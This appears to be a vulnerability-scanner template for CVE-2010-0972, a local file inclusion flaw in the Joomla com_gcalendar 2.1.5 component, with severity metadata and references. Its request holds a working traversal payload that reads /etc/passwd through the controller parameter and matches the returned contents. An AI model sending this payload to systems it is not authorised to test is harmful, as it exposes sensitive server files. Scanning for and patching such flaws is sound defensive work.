id: CVE-2010-0972

info:
  name: Joomla! Component com_gcalendar Suite 2.1.5 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the GCalendar (com_gcalendar) component 2.1.5 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11738
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0972
    - http://www.exploit-db.com/exploits/11738
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/56863
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-0972
    cwe-id: CWE-22
    epss-score: 0.13152
    epss-percentile: 0.95868
    cpe: cpe:2.3:a:g4j.laoneo:com_gcalendar:2.1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: g4j.laoneo
    product: com_gcalendar
  tags: cve2010,cve,edb,joomla,lfi,g4j.laoneo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009109a60f2ed145fbce91ef1fb7a8b102978d3f4629f0b71eb1141151f12f9d86022100a334e7c929d45151afc041318bbfee7a203980f152c4f169872d73f719abaf45:922c64590222798bb761d5b6d8e72950